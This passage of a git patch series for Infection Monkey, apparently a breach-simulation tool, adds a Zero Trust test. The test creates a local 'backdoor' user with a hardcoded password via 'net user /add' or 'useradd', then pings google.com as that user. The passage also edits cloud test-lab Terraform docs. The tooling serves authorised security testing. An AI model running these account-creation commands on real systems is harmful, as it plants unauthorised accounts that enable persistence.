 TEST_SEGMENTATION = u"segmentation"
 TEST_TUNNELING = u"tunneling"
+TEST_COMMUNICATE_AS_NEW_USER = u"communicate_as_new_user"
 TESTS = (
     TEST_SEGMENTATION,
     TEST_MALICIOUS_ACTIVITY_TIMELINE,
@@ -38,7 +39,8 @@ TESTS = (
     TEST_MACHINE_EXPLOITED,
     TEST_DATA_ENDPOINT_HTTP,
     TEST_DATA_ENDPOINT_ELASTIC,
-    TEST_TUNNELING
+    TEST_TUNNELING,
+    TEST_COMMUNICATE_AS_NEW_USER
 )
 
 RECOMMENDATION_DATA_TRANSIT = u"data_transit"
@@ -47,13 +49,15 @@ RECOMMENDATION_USER_BEHAVIOUR = u"user_behaviour"
 RECOMMENDATION_ANALYZE_NETWORK_TRAFFIC = u"analyze_network_traffic"
 RECOMMENDATION_SEGMENTATION = u"segmentation"
 RECOMMENDATION_RESTRICTIVE_NETWORK_POLICIES = u"network_policies"
+RECOMMENDATION_USERS_MAC_POLICIES = u"users_mac_policies"
 RECOMMENDATIONS = {
     RECOMMENDATION_SEGMENTATION: u"Apply segmentation and micro-segmentation inside your network.",
     RECOMMENDATION_ANALYZE_NETWORK_TRAFFIC: u"Analyze network traffic for malicious activity.",
     RECOMMENDATION_USER_BEHAVIOUR: u"Adopt security user behavior analytics.",
     RECOMMENDATION_ENDPOINT_SECURITY: u"Use anti-virus and other traditional endpoint security solutions.",
     RECOMMENDATION_DATA_TRANSIT: u"Secure data at transit by encrypting it.",
-    RECOMMENDATION_RESTRICTIVE_NETWORK_POLICIES: u"Configure network policies to be as restrictive as possible."
+    RECOMMENDATION_RESTRICTIVE_NETWORK_POLICIES: u"Configure network policies to be as restrictive as possible.",
+    RECOMMENDATION_USERS_MAC_POLICIES: u"Users' permissions to the network and to resources should be MAC only.",
 }
 
 POSSIBLE_STATUSES_KEY = u"possible_statuses"
@@ -140,6 +144,16 @@ TESTS_MAP = {
         PILLARS_KEY: [NETWORKS, VISIBILITY_ANALYTICS],
         POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED]
     },
+    TEST_COMMUNICATE_AS_NEW_USER: {
+        TEST_EXPLANATION_KEY: u"The Monkey tried create a new user and communicate with the internet from it.",
+        FINDING_EXPLANATION_BY_STATUS_KEY: {
+            STATUS_FAILED: "Monkey was able to cause a new user to access the network. Your network policies are too permissive - restrict them to MAC only.",
+            STATUS_PASSED: "Monkey wasn't able to cause a new user to access the network."
+        },
+        RECOMMENDATION_KEY: RECOMMENDATION_USERS_MAC_POLICIES,
+        PILLARS_KEY: [PEOPLE, NETWORKS, VISIBILITY_ANALYTICS],
+        POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED]
+    },
 }
 
 EVENT_TYPE_ISLAND = "island"
diff --git a/monkey/infection_monkey/post_breach/actions/add_user.py b/monkey/infection_monkey/post_breach/actions/add_user.py
index ce05371a6..b217196d3 100644
--- a/monkey/infection_monkey/post_breach/actions/add_user.py
+++ b/monkey/infection_monkey/post_breach/actions/add_user.py
@@ -17,6 +17,40 @@ WINDOWS_COMMANDS = ['net', 'user', WormConfiguration.user_to_add,
 
 class BackdoorUser(PBA):
     def __init__(self):
-        super(BackdoorUser, self).__init__(POST_BREACH_BACKDOOR_USER,
-                                           linux_cmd=' '.join(LINUX_COMMANDS),
-                                           windows_cmd=WINDOWS_COMMANDS)
+        linux_cmds, windows_cmds = BackdoorUser.get_commands_to_add_user(
+            WormConfiguration.user_to_add, WormConfiguration.remote_user_pass)
+        super(BackdoorUser, self).__init__(
+            POST_BREACH_BACKDOOR_USER,
+            linux_cmd=' '.join(linux_cmds),
+            windows_cmd=windows_cmds)
+
+    @staticmethod
+    def get_commands_to_add_user(username, password):
+        linux_cmds = BackdoorUser.get_linux_commands_to_add_user(username)
+        windows_cmds = BackdoorUser.get_windows_commands_to_add_user(password, username)
+        return linux_cmds, windows_cmds
+
+    @staticmethod
+    def get_linux_commands_to_add_user(username):
+        linux_cmds = [
+            'useradd',
+            '-M',
+            '--expiredate',
+            datetime.datetime.today().strftime('%Y-%m-%d'),
+            '--inactive',
+            '0',
+            '-c',
+            'MONKEY_USER',
+            username]
+        return linux_cmds
+
+    @staticmethod
+    def get_windows_commands_to_add_user(password, username):
+        windows_cmds = [
+            'net',
+            'user',
+            username,
+            password,
+            '/add',
+            '/ACTIVE:NO']
+        return windows_cmds
diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
new file mode 100644
index 000000000..63daa614c
--- /dev/null
+++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
@@ -0,0 +1,98 @@
+import os
+import random
+import string
+import subprocess
+
+import win32api
+import win32con
+import win32process
+import win32security
+
+from common.data.post_breach_consts import POST_BREACH_COMMUNICATE_AS_NEW_USER
+from infection_monkey.post_breach.actions.add_user import BackdoorUser
+from infection_monkey.post_breach.pba import PBA
+from infection_monkey.telemetry.post_breach_telem import PostBreachTelem
+from infection_monkey.utils import is_windows_os
+
+USERNAME = "somenewuser"
+PASSWORD = "N3WPa55W0rD!@12"
+
+
+class CommunicateAsNewUser(PBA):
+    """
+    This PBA creates a new user, and then pings google as that user. This is used for a Zero Trust test of the People
+    pillar. See the relevant telemetry processing to see what findings are created.
+    """
+
+    def __init__(self):
+        super(CommunicateAsNewUser, self).__init__(name=POST_BREACH_COMMUNICATE_AS_NEW_USER)
+
+    def run(self):
+        username = USERNAME + ''.join(random.choice(string.ascii_lowercase) for _ in range(5))
+        if is_windows_os():
+            if not self.try_to_create_user_windows(username, PASSWORD):
+                return  # no point to continue if failed creating the user.
+
+            # Logon as new user: https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-logonusera
+            new_user_logon_token_handle = win32security.LogonUser(
+                username,
+                ".",  # current domain
+                PASSWORD,
+                win32con.LOGON32_LOGON_BATCH,  # logon type
+                win32con.LOGON32_PROVIDER_DEFAULT)  # logon provider
+
+            if new_user_logon_token_handle == 0:
+                PostBreachTelem(
+                    self,
+                    ("Can't logon as {} Last error: {}".format(username, win32api.GetLastError()), False)
+                ).send()
+                return  # no point to continue if can't log on.
+
+            # Using os.path is OK, as this is on windows for sure
+            ping_app_path = os.path.join(os.environ["WINDIR"], "system32", "PING.exe")
+            if not os.path.exists(ping_app_path):
+                PostBreachTelem(self, ("{} not found".format(ping_app_path), False)).send()
+                return  # Can't continue without ping.
+
+            # Open process as that user:
+            # https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessasusera
+            return_value_create_process = win32process.CreateProcessAsUser(
+                new_user_logon_token_handle,  # A handle to the primary token that represents a user.
+                # If both lpApplicationName and lpCommandLine are non-NULL, *lpApplicationName specifies the module
+                # to execute, and *lpCommandLine specifies the command line.
+                ping_app_path,  # The name of the module to be executed.
+                "google.com",  # The command line to be executed.
+                None,  # Process attributes
+                None,  # Thread attributes
+                True,  # Should inherit handles
+                win32con.NORMAL_PRIORITY_CLASS,  # The priority class and the creation of the process.
+                None,  # An environment block for the new process. If this parameter is NULL, the new process
+                # uses the environment of the calling process.
+                None,  # CWD. If this parameter is NULL, the new process will have the same current drive and
+                # directory as the calling process.
+                win32process.STARTUPINFO()  # STARTUPINFO structure.
+                # https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfoa
+            )
+
+            if return_value_create_process == 0:
+                PostBreachTelem(self, (
+                    "Failed to open process as user. Last error: {}".format(win32api.GetLastError()), False)).send()
+                return
+        else:
+            try:
+                linux_cmds = BackdoorUser.get_linux_commands_to_add_user(username)
+                linux_cmds.extend([";", "sudo", "-", username, "-c", "'ping -c 2 google.com'"])
+                subprocess.check_output(linux_cmds, stderr=subprocess.STDOUT, shell=True)
+            except subprocess.CalledProcessError as e:
+                PostBreachTelem(self, (e.output, False)).send()
+                return
+
+    def try_to_create_user_windows(self, username, password):
+        try:
+            windows_cmds = BackdoorUser.get_windows_commands_to_add_user(username, password)
+            subprocess.check_output(windows_cmds, stderr=subprocess.STDOUT, shell=True)
+            return True
+        except subprocess.CalledProcessError as e:
+            PostBreachTelem(self, (
+                "Couldn't create the user '{}'. Error output is: '{}'".format(username, e.output), False)).send()
+            return False
diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py
index 3fb8b251f..6c6c6b8b5 100644
--- a/monkey/infection_monkey/post_breach/pba.py
+++ b/monkey/infection_monkey/post_breach/pba.py
@@ -19,7 +19,8 @@ class PBA(object):
     def __init__(self, name="unknown", linux_cmd="", windows_cmd=""):
         """
         :param name: Name of post breach action.
-        :param command: Command that will be executed on breached machine
+        :param linux_cmd: Command that will be executed on breached machine
+        :param windows_cmd: Command that will be executed on breached machine
         """
         self.command = PBA.choose_command(linux_cmd, windows_cmd)
         self.name = name
diff --git a/monkey/infection_monkey/post_breach/post_breach_handler.py b/monkey/infection_monkey/post_breach/post_breach_handler.py
index 8522f412f..7c5bea27d 100644
--- a/monkey/infection_monkey/post_breach/post_breach_handler.py
+++ b/monkey/infection_monkey/post_breach/post_breach_handler.py
@@ -25,8 +25,9 @@ class PostBreach(object):
         Executes all post breach actions.
         """
         for pba in self.pba_list:
+            LOG.debug("Executing PBA: '{}'".format(pba.name))
             pba.run()
-        LOG.info("Post breach actions executed")
+        LOG.info("All PBAs executed. Total {} executed.".format(len(self.pba_list)))
 
     @staticmethod
     def config_to_pba_list():
diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py
index 3a7398663..67b5b519d 100644
--- a/monkey/monkey_island/cc/services/config_schema.py
+++ b/monkey/monkey_island/cc/services/config_schema.py
@@ -119,6 +119,14 @@ SCHEMA = {
                     "title": "Back door user",
                     "attack_techniques": []
                 },
+                {
+                    "type": "string",
+                    "enum": [
+                        "CommunicateAsNewUser"
+                    ],
+                    "title": "Communicate as new user",
+                    "attack_techniques": []
+                },
             ],
         },
         "finger_classes": {
diff --git a/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py
index 2515c2d30..c67f64f59 100644
--- a/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py
+++ b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py
@@ -1,7 +1,18 @@
 from monkey_island.cc.database import mongo
 from common.data.post_breach_consts import *
+from monkey_island.cc.models import Monkey
+from monkey_island.cc.services.telemetry.zero_trust_tests.communicate_as_new_user import test_new_user_communication
+
+
+def process_communicate_as_new_user_telemetry(telemetry_json):
+    current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid'])
+    success = telemetry_json['data']['result'][1]
+    message = telemetry_json['data']['result'][0]
+    test_new_user_communication(current_monkey, success, message)
+
 
 POST_BREACH_TELEMETRY_PROCESSING_FUNCS = {
+    POST_BREACH_COMMUNICATE_AS_NEW_USER: process_communicate_as_new_user_telemetry,
     # `lambda *args, **kwargs: None` is a no-op.
     POST_BREACH_BACKDOOR_USER: lambda *args, **kwargs: None,
     POST_BREACH_FILE_EXECUTION: lambda *args, **kwargs: None,
@@ -13,5 +24,7 @@ def process_post_breach_telemetry(telemetry_json):
         {'guid': telemetry_json['monkey_guid']},
         {'$push': {'pba_results': telemetry_json['data']}})
 
-    if telemetry_json["name"] in POST_BREACH_TELEMETRY_PROCESSING_FUNCS:
-        POST_BREACH_TELEMETRY_PROCESSING_FUNCS[telemetry_json["name"]](telemetry_json)
+    post_breach_action_name = telemetry_json["data"]["name"]
+    if post_breach_action_name in POST_BREACH_TELEMETRY_PROCESSING_FUNCS:
+        POST_BREACH_TELEMETRY_PROCESSING_FUNCS[post_breach_action_name](telemetry_json)
+
diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py
new file mode 100644
index 000000000..564ce4d20
--- /dev/null
+++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py
@@ -0,0 +1,35 @@
+from common.data.zero_trust_consts import EVENT_TYPE_MONKEY_NETWORK, STATUS_FAILED, TEST_COMMUNICATE_AS_NEW_USER, \
+    STATUS_PASSED
+from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding
+from monkey_island.cc.models.zero_trust.event import Event
+
+
+def test_new_user_communication(current_monkey, success, message):
+    tried_to_communicate_event = Event.create_event(
+        title="Communicate as new user",
+        message="Monkey on {} tried to create a new user and communicate from it.".format(current_monkey.hostname),
+        event_type=EVENT_TYPE_MONKEY_NETWORK)
+    events = [tried_to_communicate_event]
+
+    if success:
+        events.append(
+            Event.create_event(
+                title="Communicate as new user",
+                message="New user created by Monkey on {} successfully tried to communicate with the internet. "
+                        "Details: {}".format(current_monkey.hostname, message),
+                event_type=EVENT_TYPE_MONKEY_NETWORK)
+        )
+        test_status = STATUS_FAILED
+    else:
+        events.append(
+            Event.create_event(
+                title="Communicate as new user",
+                message="Monkey on {} couldn't communicate as new user. Details: {}".format(
+                    current_monkey.hostname, message),
+                event_type=EVENT_TYPE_MONKEY_NETWORK)
+        )
+        test_status = STATUS_PASSED
+
+    AggregateFinding.create_or_add_to_existing(
+        test=TEST_COMMUNICATE_AS_NEW_USER, status=test_status, events=events
+    )

From 1befe35d34132ca83e9bd2759cee25e2b3231645 Mon Sep 17 00:00:00 2001
From: Shay Nehmad <shay.nehmad@guardicore.com>
Date: Tue, 3 Sep 2019 21:42:48 +0300
Subject: [PATCH 20/78] Added some logs, and more error handling for winapis.
 Still not working

---
 .../post_breach/actions/add_user.py           |  9 ++-
 .../actions/communicate_as_new_user.py        | 74 ++++++++++---------
 2 files changed, 44 insertions(+), 39 deletions(-)

diff --git a/monkey/infection_monkey/post_breach/actions/add_user.py b/monkey/infection_monkey/post_breach/actions/add_user.py
index b217196d3..9354ca417 100644
--- a/monkey/infection_monkey/post_breach/actions/add_user.py
+++ b/monkey/infection_monkey/post_breach/actions/add_user.py
@@ -27,7 +27,7 @@ class BackdoorUser(PBA):
     @staticmethod
     def get_commands_to_add_user(username, password):
         linux_cmds = BackdoorUser.get_linux_commands_to_add_user(username)
-        windows_cmds = BackdoorUser.get_windows_commands_to_add_user(password, username)
+        windows_cmds = BackdoorUser.get_windows_commands_to_add_user(username, password)
         return linux_cmds, windows_cmds
 
     @staticmethod
@@ -45,12 +45,13 @@ class BackdoorUser(PBA):
         return linux_cmds
 
     @staticmethod
-    def get_windows_commands_to_add_user(password, username):
+    def get_windows_commands_to_add_user(username, password, should_be_active=False):
         windows_cmds = [
             'net',
             'user',
             username,
             password,
-            '/add',
-            '/ACTIVE:NO']
+            '/add']
+        if not should_be_active:
+            windows_cmds.append('/ACTIVE:NO')
         return windows_cmds
diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
index 63daa614c..ba1620180 100644
--- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
+++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
@@ -1,3 +1,4 @@
+import logging
 import os
 import random
 import string
@@ -15,7 +16,9 @@ from infection_monkey.telemetry.post_breach_telem import PostBreachTelem
 from infection_monkey.utils import is_windows_os
 
 USERNAME = "somenewuser"
-PASSWORD = "N3WPa55W0rD!@12"
+PASSWORD = "N3WPa55W0rD!1"
+
+logger = logging.getLogger(__name__)
 
 
 class CommunicateAsNewUser(PBA):
@@ -33,50 +36,50 @@ class CommunicateAsNewUser(PBA):
             if not self.try_to_create_user_windows(username, PASSWORD):
                 return  # no point to continue if failed creating the user.
 
-            # Logon as new user: https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-logonusera
-            new_user_logon_token_handle = win32security.LogonUser(
-                username,
-                ".",  # current domain
-                PASSWORD,
-                win32con.LOGON32_LOGON_BATCH,  # logon type
-                win32con.LOGON32_PROVIDER_DEFAULT)  # logon provider
-
-            if new_user_logon_token_handle == 0:
+            try:
+                # Logon as new user: https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-logonusera
+                new_user_logon_token_handle = win32security.LogonUser(
+                    username,
+                    ".",  # use current domain
+                    PASSWORD,
+                    win32con.LOGON32_LOGON_INTERACTIVE,  # logon type - interactive (normal user)
+                    win32con.LOGON32_PROVIDER_DEFAULT)  # logon provider
+            except Exception as e:
                 PostBreachTelem(
                     self,
-                    ("Can't logon as {} Last error: {}".format(username, win32api.GetLastError()), False)
+                    ("Can't logon as {}. Error: {}".format(username, e.message), False)
                 ).send()
                 return  # no point to continue if can't log on.
 
             # Using os.path is OK, as this is on windows for sure
             ping_app_path = os.path.join(os.environ["WINDIR"], "system32", "PING.exe")
             if not os.path.exists(ping_app_path):
-                PostBreachTelem(self, ("{} not found".format(ping_app_path), False)).send()
+                PostBreachTelem(self, ("{} not found.".format(ping_app_path), False)).send()
                 return  # Can't continue without ping.
 
-            # Open process as that user:
-            # https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessasusera
-            return_value_create_process = win32process.CreateProcessAsUser(
-                new_user_logon_token_handle,  # A handle to the primary token that represents a user.
-                # If both lpApplicationName and lpCommandLine are non-NULL, *lpApplicationName specifies the module
-                # to execute, and *lpCommandLine specifies the command line.
-                ping_app_path,  # The name of the module to be executed.
-                "google.com",  # The command line to be executed.
-                None,  # Process attributes
-                None,  # Thread attributes
-                True,  # Should inherit handles
-                win32con.NORMAL_PRIORITY_CLASS,  # The priority class and the creation of the process.
-                None,  # An environment block for the new process. If this parameter is NULL, the new process
-                # uses the environment of the calling process.
-                None,  # CWD. If this parameter is NULL, the new process will have the same current drive and
-                # directory as the calling process.
-                win32process.STARTUPINFO()  # STARTUPINFO structure.
-                # https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfoa
-            )
-
-            if return_value_create_process == 0:
+            try:
+                # Open process as that user:
+                # https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessasusera
+                return_value_create_process = win32process.CreateProcessAsUser(
+                    new_user_logon_token_handle,  # A handle to the primary token that represents a user.
+                    # If both lpApplicationName and lpCommandLine are non-NULL, *lpApplicationName specifies the module
+                    # to execute, and *lpCommandLine specifies the command line.
+                    ping_app_path,  # The name of the module to be executed.
+                    "google.com",  # The command line to be executed.
+                    None,  # Process attributes
+                    None,  # Thread attributes
+                    True,  # Should inherit handles
+                    win32con.NORMAL_PRIORITY_CLASS,  # The priority class and the creation of the process.
+                    None,  # An environment block for the new process. If this parameter is NULL, the new process
+                    # uses the environment of the calling process.
+                    None,  # CWD. If this parameter is NULL, the new process will have the same current drive and
+                    # directory as the calling process.
+                    win32process.STARTUPINFO()  # STARTUPINFO structure.
+                    # https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfoa
+                )
+            except Exception as e:
                 PostBreachTelem(self, (
-                    "Failed to open process as user. Last error: {}".format(win32api.GetLastError()), False)).send()
+                    "Failed to open process as user {}. Error: {}".format(username, e.message), False)).send()
                 return
         else:
             try:
@@ -89,7 +92,8 @@ class CommunicateAsNewUser(PBA):
 
     def try_to_create_user_windows(self, username, password):
         try:
-            windows_cmds = BackdoorUser.get_windows_commands_to_add_user(username, password)
+            windows_cmds = BackdoorUser.get_windows_commands_to_add_user(username, password, True)
+            logger.debug("Trying these commands: {}".format(str(windows_cmds)))
             subprocess.check_output(windows_cmds, stderr=subprocess.STDOUT, shell=True)
             return True
         except subprocess.CalledProcessError as e:

From c371bf8ac53f95e95ecc7cf5763a5546d1be1dee Mon Sep 17 00:00:00 2001
From: Shay Nehmad <shay.nehmad@guardicore.com>
Date: Tue, 3 Sep 2019 21:52:30 +0300
Subject: [PATCH 21/78] Added 1314 error TODO

---
 .../post_breach/actions/communicate_as_new_user.py           | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
index ba1620180..578886d02 100644
--- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
+++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
@@ -78,8 +78,11 @@ class CommunicateAsNewUser(PBA):
                     # https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfoa
                 )
             except Exception as e:
+                # TODO: if failed on 1314, try to add elevate the rights of the current user with the "Replace a
+                #  process level token" right, using Local Security Policy editing (need to find how to do this using
+                #  python...
                 PostBreachTelem(self, (
-                    "Failed to open process as user {}. Error: {}".format(username, e.message), False)).send()
+                    "Failed to open process as user {}. Error: {}".format(username, str(e)), False)).send()
                 return
         else:
             try:

From 3469ec6996477976cdce9f5e67e20c8601d04161 Mon Sep 17 00:00:00 2001
From: Shay Nehmad <shay.nehmad@guardicore.com>
Date: Tue, 3 Sep 2019 22:35:18 +0300
Subject: [PATCH 22/78] Still need to test linux

---
 .../actions/communicate_as_new_user.py        | 32 ++++++++++++-------
 .../post_breach/post_breach_handler.py        |  2 ++
 2 files changed, 23 insertions(+), 11 deletions(-)

diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
index 578886d02..6eaf73db5 100644
--- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
+++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
@@ -4,7 +4,6 @@ import random
 import string
 import subprocess
 
-import win32api
 import win32con
 import win32process
 import win32security
@@ -15,6 +14,9 @@ from infection_monkey.post_breach.pba import PBA
 from infection_monkey.telemetry.post_breach_telem import PostBreachTelem
 from infection_monkey.utils import is_windows_os
 
+CREATED_PROCESS_AS_USER_WINDOWS_FORMAT = "Created process '{}' as user '{}'."
+CREATED_PROCESS_AS_USER_LINUX_FORMAT = "Created process '{}' as user '{}'. Some of the output was '{}'."
+
 USERNAME = "somenewuser"
 PASSWORD = "N3WPa55W0rD!1"
 
@@ -60,12 +62,11 @@ class CommunicateAsNewUser(PBA):
             try:
                 # Open process as that user:
                 # https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessasusera
-                return_value_create_process = win32process.CreateProcessAsUser(
+                commandline = "{} {}".format(ping_app_path, "google.com")
+                _ = win32process.CreateProcessAsUser(
                     new_user_logon_token_handle,  # A handle to the primary token that represents a user.
-                    # If both lpApplicationName and lpCommandLine are non-NULL, *lpApplicationName specifies the module
-                    # to execute, and *lpCommandLine specifies the command line.
-                    ping_app_path,  # The name of the module to be executed.
-                    "google.com",  # The command line to be executed.
+                    None,  # The name of the module to be executed.
+                    commandline,  # The command line to be executed.
                     None,  # Process attributes
                     None,  # Thread attributes
                     True,  # Should inherit handles
@@ -77,18 +78,27 @@ class CommunicateAsNewUser(PBA):
                     win32process.STARTUPINFO()  # STARTUPINFO structure.
                     # https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfoa
                 )
+
+                PostBreachTelem(self, (
+                    CREATED_PROCESS_AS_USER_WINDOWS_FORMAT.format(commandline, username), True)).send()
+                return
             except Exception as e:
-                # TODO: if failed on 1314, try to add elevate the rights of the current user with the "Replace a
-                #  process level token" right, using Local Security Policy editing (need to find how to do this using
-                #  python...
+                # TODO: if failed on 1314, we can try to add elevate the rights of the current user with the "Replace a
+                #  process level token" right, using Local Security Policy editing. Worked, but only after reboot. So:
+                #  1. need to decide if worth it, and then
+                #  2. need to find how to do this using python...
                 PostBreachTelem(self, (
                     "Failed to open process as user {}. Error: {}".format(username, str(e)), False)).send()
                 return
         else:
             try:
                 linux_cmds = BackdoorUser.get_linux_commands_to_add_user(username)
-                linux_cmds.extend([";", "sudo", "-", username, "-c", "'ping -c 2 google.com'"])
-                subprocess.check_output(linux_cmds, stderr=subprocess.STDOUT, shell=True)
+                commandline = "'ping -c 2 google.com'"
+                linux_cmds.extend([";", "sudo", "-", username, "-c", commandline])
+                output = subprocess.check_output(linux_cmds, stderr=subprocess.STDOUT, shell=True)
+                PostBreachTelem(self, (
+                    CREATED_PROCESS_AS_USER_LINUX_FORMAT.format(commandline, username, output[:50]), True)).send()
+                return
             except subprocess.CalledProcessError as e:
                 PostBreachTelem(self, (e.output, False)).send()
                 return
diff --git a/monkey/infection_monkey/post_breach/post_breach_handler.py b/monkey/infection_monkey/post_breach/post_breach_handler.py
index 7c5bea27d..034e1c451 100644
--- a/monkey/infection_monkey/post_breach/post_breach_handler.py
+++ b/monkey/infection_monkey/post_breach/post_breach_handler.py
@@ -46,7 +46,9 @@ class PostBreach(object):
                            if ((m[1].__module__ == module.__name__) and issubclass(m[1], PBA))]
             # Get post breach action object from class
             for pba_class in pba_classes:
+                LOG.debug("Checking if should run PBA {}".format(pba_class.__name__))
                 if pba_class.should_run(pba_class.__name__):
                     pba = pba_class()
                     pba_list.append(pba)
+                    LOG.debug("Added PBA {} to PBA list".format(pba_class.__name__))
         return pba_list

From 4f67eea2a18016ebb2d51027139855adafb1ced1 Mon Sep 17 00:00:00 2001
From: VakarisZ <vakarisz@yahoo.com>
Date: Wed, 4 Sep 2019 10:19:36 +0300
Subject: [PATCH 23/78] Improved monkeyzoo docs, updated config, fixed prefix
 bugs

---
 envs/monkey_zoo/docs/fullDocs.md        | 42 ++++++++++++-------
 envs/monkey_zoo/terraform/config.tf     |  2 +-
 envs/monkey_zoo/terraform/monkey_zoo.tf | 56 ++++++++++++-------------
 envs/monkey_zoo/terraform/templates.tf  |  6 +--
 4 files changed, 58 insertions(+), 48 deletions(-)

diff --git a/envs/monkey_zoo/docs/fullDocs.md b/envs/monkey_zoo/docs/fullDocs.md
index 4f795af45..a8c0687fc 100644
--- a/envs/monkey_zoo/docs/fullDocs.md
+++ b/envs/monkey_zoo/docs/fullDocs.md
@@ -58,7 +58,7 @@ Requirements:
 To deploy:
 1.  Configure service account for your project:
 
-    a. Create a service account and name it “your\_name-monkeyZoo-user” 
+    a. Create a service account (GCP website -> IAM -> service accounts) and name it “your\_name-monkeyZoo-user” 
     
     b. Give these permissions to your service account:
     
@@ -74,7 +74,7 @@ To deploy:
     
     **Project -> Owner**
     
-    c. Download its **Service account key**. Select JSON format.
+    c. Download its **Service account key** in JSON and place it in **/gcp_keys** as **gcp_key.json**.
 2.  Get these permissions in monkeyZoo project for your service account (ask monkey developers to add them):
 
     a.  **Compute Engine -\> Compute image user**
@@ -82,20 +82,30 @@ To deploy:
     ../monkey/envs/monkey\_zoo/terraform/config.tf file (don’t forget to
     link to your service account key file):
 
-    > provider "google" {
-    > 
-    > project = "project-28054666"
-    > 
-    > region = "europe-west3"
-    > 
-    > zone = "europe-west3-b"
-    > 
-    > credentials = "${file("project-92050661-9dae6c5a02fc.json")}"
-    > 
-    > }
-    > 
-    > service\_account\_email="test@project-925243.iam.gserviceaccount.com"
-
+         provider "google" {
+         
+         project = "test-000000" // Change to your project id
+           
+           region  = "europe-west3" // Change to your desired region or leave default
+           
+           zone    = "europe-west3-b" // Change to your desired zone or leave default
+           
+           credentials = "${file("../gcp_keys/gcp_key.json")}" // Change to the location and name of the service key. 
+                                                               // If you followed instruction above leave it as is
+         
+         }
+         
+         locals {
+         
+           resource_prefix = "" // All of the resources will have this prefix.
+                                // Only change if you want to have multiple zoo's in the same project
+           
+           service_account_email="tester-monkeyZoo-user@testproject-000000.iam.gserviceaccount.com" // Service account email
+           
+           monkeyzoo_project="guardicore-22050661" // Project where monkeyzoo images are kept. Leave as is.
+         
+         }
+    
 4.  Run terraform init
 
 To deploy the network run:<br>
diff --git a/envs/monkey_zoo/terraform/config.tf b/envs/monkey_zoo/terraform/config.tf
index 4f9106aae..3a2bf0fc4 100644
--- a/envs/monkey_zoo/terraform/config.tf
+++ b/envs/monkey_zoo/terraform/config.tf
@@ -2,7 +2,7 @@ provider "google" {
   project = "test-000000"
   region  = "europe-west3"
   zone    = "europe-west3-b"
-  credentials = "${file("testproject-000000-0c0b000b00c0.json")}"
+  credentials = "${file("../gcp_keys/gcp_key.json")}"
 }
 locals {
   resource_prefix = ""
diff --git a/envs/monkey_zoo/terraform/monkey_zoo.tf b/envs/monkey_zoo/terraform/monkey_zoo.tf
index 40792672c..cf45d93e0 100644
--- a/envs/monkey_zoo/terraform/monkey_zoo.tf
+++ b/envs/monkey_zoo/terraform/monkey_zoo.tf
@@ -48,7 +48,7 @@ resource "google_compute_instance_from_template" "hadoop-2" {
     auto_delete = true
   }
   network_interface {
-    subnetwork="monkeyzoo-main"
+    subnetwork="${local.resource_prefix}monkeyzoo-main"
     network_ip="10.2.2.2"
   }
   // Add required ssh keys for hadoop service and restart it
@@ -65,7 +65,7 @@ resource "google_compute_instance_from_template" "hadoop-3" {
     auto_delete = true
   }
   network_interface {
-    subnetwork="monkeyzoo-main"
+    subnetwork="${local.resource_prefix}monkeyzoo-main"
     network_ip="10.2.2.3"
   }
 }
@@ -80,7 +80,7 @@ resource "google_compute_instance_from_template" "elastic-4" {
     auto_delete = true
   }
   network_interface {
-    subnetwork="monkeyzoo-main"
+    subnetwork="${local.resource_prefix}monkeyzoo-main"
     network_ip="10.2.2.4"
   }
 }
@@ -95,7 +95,7 @@ resource "google_compute_instance_from_template" "elastic-5" {
     auto_delete = true
   }
   network_interface {
-    subnetwork="monkeyzoo-main"
+    subnetwork="${local.resource_prefix}monkeyzoo-main"
     network_ip="10.2.2.5"
   }
 }
@@ -110,7 +110,7 @@ resource "google_compute_instance_from_template" "sambacry-6" {
     }
   }
   network_interface {
